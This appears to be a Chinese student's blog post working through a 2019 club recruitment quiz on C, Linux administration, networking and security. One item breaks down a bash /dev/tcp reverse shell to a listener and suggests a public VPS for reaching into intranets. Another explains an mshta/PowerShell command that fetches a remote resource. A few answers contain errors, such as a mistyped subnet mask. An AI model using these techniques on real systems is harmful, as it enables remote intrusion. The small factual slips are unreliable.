智邮普创工作室2019秋季纳新题 (运维安全方向)浅析

声明 以下浅析仅为个人见解,如有不同意见,欢迎各路大神前来探讨,大家共同进步

基础题部分

0x01 1000G硬盘容量相当于1000M硬盘的多少倍?

常规思路 1024
对,没错,理论上按照计算机容量标准,各级之间相差2的10次方,也就是1024。但是硬盘制作商,为了生产方便,潜规则的就把1024约等于了1000。所以就有不同观点了,理论上是1024没错,但实际上这个值更接近1000。
不黑,也不吹

有图有证据

在这里插入图片描述

0x02

在这里插入图片描述
先给出答案 -2147483648
int所占4个字节,32个比特位(0,1组合),而2147483647 刚好是2的31次方再减1,最高位表示符号位,所以这里再加1时,会产生溢出。至于溢出后为什么等于-2147483648,这里涉及一个溢出后的运算,有兴趣的读者可以自行尝试或百度。

0x03

在这里插入图片描述
先给出答案 3,9,8
本题考查运算的优先级,还有x++,与++x区别
这题有两处需要注意的地方。一来在括号里是封闭运算,所以无论是先取值后运算还是先运算后取值,均不影响最终结果。
所以对于y 来说 y=(++x)+(x++)+(++x)
第一项为2,第二项为3,第一项为4
加起来和为9
z同理

0x04

在这里插入图片描述
先给出答案 1,2
本题考查函数在调用运行时的内存机制
函数作用是想交换a,b的值
但是函数在被调用时是先放在栈中执行,执行完后释放栈中内存
所以不改变主函数中a,b的值
笔者在面试过程中,曾被要求现场更改,使其具备交换a,b数值的作用
方法一 不调用函数,直接在主函数中用中间变量进行交换
方法二 利用指针,进行交换

0x05 你用过strlen和sizeof函数吗?它们的作用是什么?它们的区别又是什么?

这里引用朋友的一篇博客
链接如下
小羊的博客
在这里插入图片描述

0x06 你所了解过的循环有哪些?它们有什么区别呢?

这题就相对来说比较简单了,具体三大循环—for,while,do…while…..
在此不再阐述

0x07

在这里插入图片描述
先给出答案 24
如果没有基础的话,先看下面博客,有基础的话可以直接跳过
小羊的博客
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
就本题来看的话
这里结构体里嵌套了一层联合体,联合体为4,char和int在一起为8,double为8
因为内存空间要对其所以联合体补齐到8,加在一起为24。
笔者当时在面试时,还被问到存不存在内存不需要补齐的情况。这个问题放在这,有兴趣的可以找我讨论

0x08

在这里插入图片描述
先给出答案 ZYPC
这题考查二维数组下标越界问题。
二维数组可以看成一维数组的一维数组,而且其在存储过程中,在内存空间中是紧挨着的,这样描述可能不太形象,其实就是地址是连续的。
以ch[0][18]为例
先找到ch[0][0],然后在往后推18个即可,其他同理。
但是这个具体好像有什么公式可以直接推出
有兴趣的同学可以自行百度啦。。。

0x09 尽可能多的说出你所了解的排序算法,它们的时间复杂度和稳定性又如何?

emmmmmmm,算法是我软肋。
但我觉得,几个常用的排序算法还是要了解的。
冒泡排序
选择排序
快速排序
。。。。。
自行百度补充
笔者面试时被要求现场写出冒泡排序的核心算法,然后就gg了
。。。。。。。。
其实算法还是很重要的

0x10

在这里插入图片描述
本题考查结构体成员的访问
先给出如下两种方式
1 s.b
2 pt->b

方向题部分(运维&安全)

因为笔者主要安全方向更熟悉一点,运维并不是特别熟悉,以防误人子弟,在此温馨提示,读者可自行跳过,或直接请教度娘,键盘侠请绕路

0x01 Linux如何新建用户,并设置为管理员?

新建用户adduser,在此过程中会有选项可以加入root组(0),但此时并不是管理员,有些权限还是不够,然后百度了一下,需要修改/etc/sudoers这个文件
在这里插入图片描述
按照上图改一下
不同linux系统版本可能会略有不同

0x02 CentOS 、Debian如何设置静态IP地址、配置本地镜像为源。

进入到网卡配置目录
cd /etc/sysconfig/network-scripts/
ifconfig查看网卡信息并获取到网卡的名称位eth0
在这里插入图片描述
找到eth0的配置文件ifcfg-ens32 修改如下
vim ifcfg-ens32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
TYPE=Ethernet

PROXY_METHOD=none

BROWSER_ONLY=no

BOOTPROTO=static #设置为静态地址

IPADDR=192.168.1.149

NETMASK=255.255.255.0

GATEWAY=192.168.1.1

DEFROUTE=yes

IPV4_FAILURE_FATAL=no

IPV6INIT=yes

IPV6_AUTOCONF=yes

IPV6_DEFROUTE=yes

IPV6_FAILURE_FATAL=no

IPV6_ADDR_GEN_MODE=stable-privacy

NAME=ens32

UUID=d16fe359-9256-4414-a557-19d751b4fc72

DEVICE=ens32

ONBOOT=yes # 网络开机运行

:wq! #退出并保存

重启网卡

systemctl restart network

这里比较戏剧性的的是
笔者当时被一位运维学长问到你还知道其他方法吗。。。
当场就懵了。。
技不如人
然后gg
Debian与其配置类似,只是配置文件位置不同罢了
对于配置本地镜像为源,笔者是没接触过
因为一直用的kali,工具都是集成好的,平时运维接触又不多,也没有这些资源,所以就再次gg了
读者自行百度就好了。。。

0x03

在这里插入图片描述
这题笔者没被问到,直接给答案吧,写脚本中会遇到
在这里插入图片描述
相同点:都是引用所有参数
不同点:只有在双引号中体现出来。假设在脚本运行时写了三个参数(分别存储在12 3)则”*” 等价于 “12 3”(传递了一个参数);而“@” 等价于 “1””2” “$3”(传递了三个参数)

0x04

在这里插入图片描述
这题笔者也没有被问到,只是问了一些网络协议方面的知识。
先给出答案 子网掩码 225.255.255.0
网络地址 193.6.7.0
广播地址 193.6.7.255
有效主机位 254
/24表示网络位为24个比特,剩下8个比特位为主机位(相当于是一个c段网络)
有效主机位:2的8次方,再减去网络位与广播地址,即254

0x05 常见的应用中有哪些是应用TCP协议的,哪些又是应用UDP协议的,为什么它们被如此设计?(以QQ为例说明)

本题考查TCP与UDP的区别
TCP与UDP区别总结:
1、TCP面向连接(如打电话要先拨号建立连接);UDP是无连接的,即发送数据之前不需要建立连接
2、TCP提供可靠的服务。也就是说,通过TCP连接传送的数据,无差错,不丢失,不重复,且按序到达;UDP尽最大努力交付,即不保证可靠交付Tcp通过校验和,重传控制,序号标识,滑动窗口、确认应答实现可靠传输。如丢包时的重发控制,还可以对次序乱掉的分包进行顺序控制
3、UDP具有较好的实时性,工作效率比TCP高,适用于对高速传输和实时性有较高的通信或广播通信
4.每一条TCP连接只能是点到点的;UDP支持一对一,一对多,多对一和多对多的交互通信
5、TCP对系统资源要求较多,UDP对系统资源要求较少。
所以以qq为例,支付功能需要安全可靠,要用TCP。语音通话和视频聊天对即时性要求比较高,所以会用到UDP

0x06 是否知道owasp top 10 ,细说一下对他们的了解。

这个我就被问的很细了。我就放个链接吧,比我讲的详细。
不黑,也不吹
OWASP——开放式web应用程序安全项目
笔者被问的最多的还是sql注入
。。。。。。
自行脑补

0x07

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
本题考查正则表达式
报错消息,提示语法错误
然后改了一下,问题出在re.compile(“ “,re.S)
中的” “,
因为正则表达式中有” “存在
所以将” “,改成单引号’ ‘即可。运行成功,没有报错。运行截图如下
在这里插入图片描述
没有匹配到任何东西,然后这地方就比较坑
笔者尝试了好久,改了好多东西
最终发现问题出在”data-src”处
将”-“去掉后,再次运行,得到
在这里插入图片描述
上图即为想要提取的信息
笔者在面试这一题的时候,一位安全学长又问了一些爬虫方面的东西。
就比较
。。。。。。

0x08

在这里插入图片描述
这题考查反弹shell
分为三部分看
1—- bash -i 表示一个交互式shell
2—- >&/dev/tcp/192.168.1.22/1314 表示建立一个TCP连接,端口为1314
(这也是linux中一切皆文件的体现)
3—- 0>&1 是将交互式shell反弹
笔者在面试这一题时,还被一位学长问到了攻击者与宿主机的端口关系
简单来说,就是攻击者在执行上述命令前,需要在本地监听1314端口。
值得注意的是,如果上述场景运用到内网中,攻击者就需要提前准备一个vps,
且具有独立的公网ip,将上诉命令中的ip改为公网ip,即可

shell脚本具体还有0,1,2,&,>,<的用法,有兴趣的读者可仔细研究。
确实挺有用的

0x09

在这里插入图片描述
emmmmmm,终于最后一题了,不过没有被问到。
吹一波,这题是我彭学长出的题。
分析如下,在命令行powershell中 执行 mshta ,然后去解析参数中的html,请求参数中url的资源。
(0x68,0x74,0x74,0x70)为16进制,转化为ascii后为http,这样就好理解了。
重点是脚本中的mshta
在这里插入图片描述
简述之就是去解析html,然后在powershell下请求这个资源
理解了mshta的作用,这题差不多就搞定了

0x10

在这里插入图片描述
霸面玩不来,who can who up 吧
。。。。。。。。。。。。。。。。。。。。。。

后记

经过这次面试,暴漏了很多问题,也看到了自己各方面的薄弱之处。然后将题目浅析分享给大家。不管面试能不能过,在这次面试中有所收获,有所提升,有所进步,才是最重要的啦。。。
有问题可以私信联系我,大家一起探讨。

以上,有一些我可能表述不到位或者理解有误的,感谢指教【鞠躬